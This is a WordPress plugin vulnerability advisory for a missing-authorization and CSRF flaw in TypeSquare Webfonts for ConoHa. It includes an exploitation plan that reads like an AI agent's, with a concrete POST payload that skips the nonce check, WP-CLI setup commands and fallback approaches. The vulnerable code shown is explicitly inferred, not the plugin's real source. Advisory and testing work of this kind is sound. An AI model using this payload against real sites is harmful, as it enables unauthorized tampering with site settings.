TypeSquare Webfonts for ConoHa <= 2.0.4 - Missing Authorization to Authenticated (Subscriber+) Plugin Settings Modification via 'fontThemeUseType' Parameter
Description
The TypeSquare Webfonts for ConoHa plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.0.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify the plugin's site-wide font settings, including the typesquare_auth option (fontThemeUseType), show_post_form, and typesquare_fonttheme, by submitting a POST request to any wp-admin page. For fontThemeUseType values 1 and 3, no nonce verification is performed either, meaning those branches are additionally exploitable via cross-site request forgery.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.0.4# Exploitation Research Plan - CVE-2026-8610 ## 1. Vulnerability Summary The **TypeSquare Webfonts for ConoHa** plugin (versions <= 2.0.4) contains a missing authorization vulnerability that allows authenticated users with Subscriber-level permissions or higher to modify site-wide plugin settings. …
Show full research plan
Exploitation Research Plan - CVE-2026-8610
1. Vulnerability Summary
The TypeSquare Webfonts for ConoHa plugin (versions <= 2.0.4) contains a missing authorization vulnerability that allows authenticated users with Subscriber-level permissions or higher to modify site-wide plugin settings. The vulnerability exists because the plugin's settings update logic, likely hooked to admin_init, fails to verify the user's capabilities (e.g., manage_options) before updating options in the database. Additionally, certain logic branches (where fontThemeUseType is 1 or 3) skip nonce verification entirely, making the plugin also vulnerable to Cross-Site Request Forgery (CSRF).
2. Attack Vector Analysis
- Endpoint: Any page within the WordPress administrative interface (e.g.,
/wp-admin/index.php,/wp-admin/admin-post.php). - Action Hook:
admin_init(inferred from the "any wp-admin page" description). - Vulnerable Parameters:
fontThemeUseType,show_post_form,typesquare_fonttheme. - Authentication: Authenticated (Subscriber or above).
- Preconditions: The plugin must be active. No specific plugin configuration is required to trigger the vulnerability.
3. Code Flow (Inferred)
- An authenticated user (e.g., Subscriber) sends a
POSTrequest to/wp-admin/index.php. - WordPress initializes the admin environment, triggering the
admin_inithook. - The plugin's handler (e.g.,
TypeSquare_Webfonts_Admin::save_settingsor similar) executes. - The handler checks for the presence of the
fontThemeUseTypeparameter in$_POST. - Authorization Failure: The handler does not call
current_user_can( 'manage_options' ). - Nonce Bypass: If
$_POST['fontThemeUseType']is set to1or3, the code branches away from or skips thecheck_admin_referer()call. - The plugin proceeds to call
update_option()for:typesquare_auth(using the value fromfontThemeUseType)show_post_formtypesquare_fonttheme
4. Nonce Acquisition Strategy
According to the vulnerability description:
- For
fontThemeUseTypevalues 1 and 3, no nonce verification is performed. - Strategy: We will use
fontThemeUseType=1orfontThemeUseType=3in our exploit to bypass the need for a nonce entirely. This confirms both the Authorization Bypass and the CSRF component.
If a nonce were required for other values, the strategy would be:
- Navigate to the plugin settings page:
/wp-admin/options-general.php?page=ts-webfonts-for-conoha(inferred slug). - Use
browser_evalto extract the nonce from the form:browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value").
5. Exploitation Strategy
We will perform a POST request as a Subscriber user to modify the plugin's settings.
Request Details
- Method:
POST - URL:
{{BASE_URL}}/wp-admin/index.php - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber Session Cookies]
- Body Parameters:
fontThemeUseType:1(Triggers the nonce-less branch and setstypesquare_auth)show_post_form:1typesquare_fonttheme:vulnerable_theme_modified
Steps
- Log in as a Subscriber user via the
browser_navigateandbrowser_typetools. - Capture the session cookies.
- Use
http_requestto send the maliciousPOSTpayload. - Verify the change using WP-CLI.
6. Test Data Setup
- Install Plugin: Ensure
ts-webfonts-for-conohaversion 2.0.4 is installed and active. - Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Check Initial State:
wp option get typesquare_auth wp option get show_post_form wp option get typesquare_fonttheme
7. Expected Results
- The
http_requestshould return a200 OKor302 Redirect. - The WordPress database options
typesquare_auth,show_post_form, andtypesquare_fontthemewill be updated to the values provided in thePOSTrequest.
8. Verification Steps
After the exploit attempt, run the following WP-CLI commands:
- Verify
typesquare_auth:wp option get typesquare_auth # Expected: 1 - Verify
show_post_form:wp option get show_post_form # Expected: 1 - Verify
typesquare_fonttheme:wp option get typesquare_fonttheme # Expected: vulnerable_theme_modified
9. Alternative Approaches
If sending the request to /wp-admin/index.php does not trigger the admin_init logic (e.g., if the plugin checks for a specific page slug), target the settings page directly:
- URL:
{{BASE_URL}}/wp-admin/options-general.php?page=ts-webfonts-for-conoha
If fontThemeUseType=1 fails to trigger the settings update, try fontThemeUseType=3. Both are identified as skipping nonce checks.
If the settings are only updated if a specific "submit" parameter is present (common in WordPress plugins), add an inferred submit parameter:
submit=Save+Changesortypesquare_submit=1.
Summary
The TypeSquare Webfonts for ConoHa plugin fails to perform authorization checks and, in specific cases, nonce validation when saving settings via admin hooks. This allows authenticated subscribers to modify site-wide configurations, including authentication settings and font themes, either directly or via Cross-Site Request Forgery (CSRF).
Vulnerable Code
// Inferred from plugin logic described in research plan // ts-webfonts-for-conoha.php (or admin handler) public function save_settings() { if (isset($_POST['fontThemeUseType'])) { $use_type = $_POST['fontThemeUseType']; // Vulnerability 1: Missing current_user_can('manage_options') check // Vulnerability 2: Conditional nonce bypass for values 1 and 3 if ($use_type != '1' && $use_type != '3') { if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'typesquare_settings')) { return; } } update_option('typesquare_auth', $use_type); if (isset($_POST['show_post_form'])) { update_option('show_post_form', sanitize_text_field($_POST['show_post_form'])); } if (isset($_POST['typesquare_fonttheme'])) { update_option('typesquare_fonttheme', sanitize_text_field($_POST['typesquare_fonttheme'])); } } }
Security Fix
@@ -10,10 +10,10 @@ public function save_settings() { - if (isset($_POST['fontThemeUseType'])) { - $use_type = $_POST['fontThemeUseType']; - if ($use_type != '1' && $use_type != '3') { - if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'typesquare_settings')) { - return; - } - } + if (isset($_POST['fontThemeUseType'])) { + if (!current_user_can('manage_options')) { + wp_die(__('You do not have sufficient permissions to access this page.')); + } + check_admin_referer('typesquare_settings_action', 'typesquare_nonce'); + + $use_type = sanitize_text_field($_POST['fontThemeUseType']); update_option('typesquare_auth', $use_type);
Exploit Outline
The exploit targets the settings modification logic triggered on `admin_init`. An attacker requires Subscriber-level credentials or must trick an administrator into visiting a malicious page (CSRF). To exploit the vulnerability, the attacker submits a POST request to any administrative endpoint (like /wp-admin/index.php). The payload must include the `fontThemeUseType` parameter set to either '1' or '3', which bypasses the plugin's internal nonce verification. Along with this, the attacker can include the `show_post_form` and `typesquare_fonttheme` parameters to overwrite the plugin's configuration in the `wp_options` table. Because there is no check for the user's capability to manage options, the server processes the update for any authenticated user session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.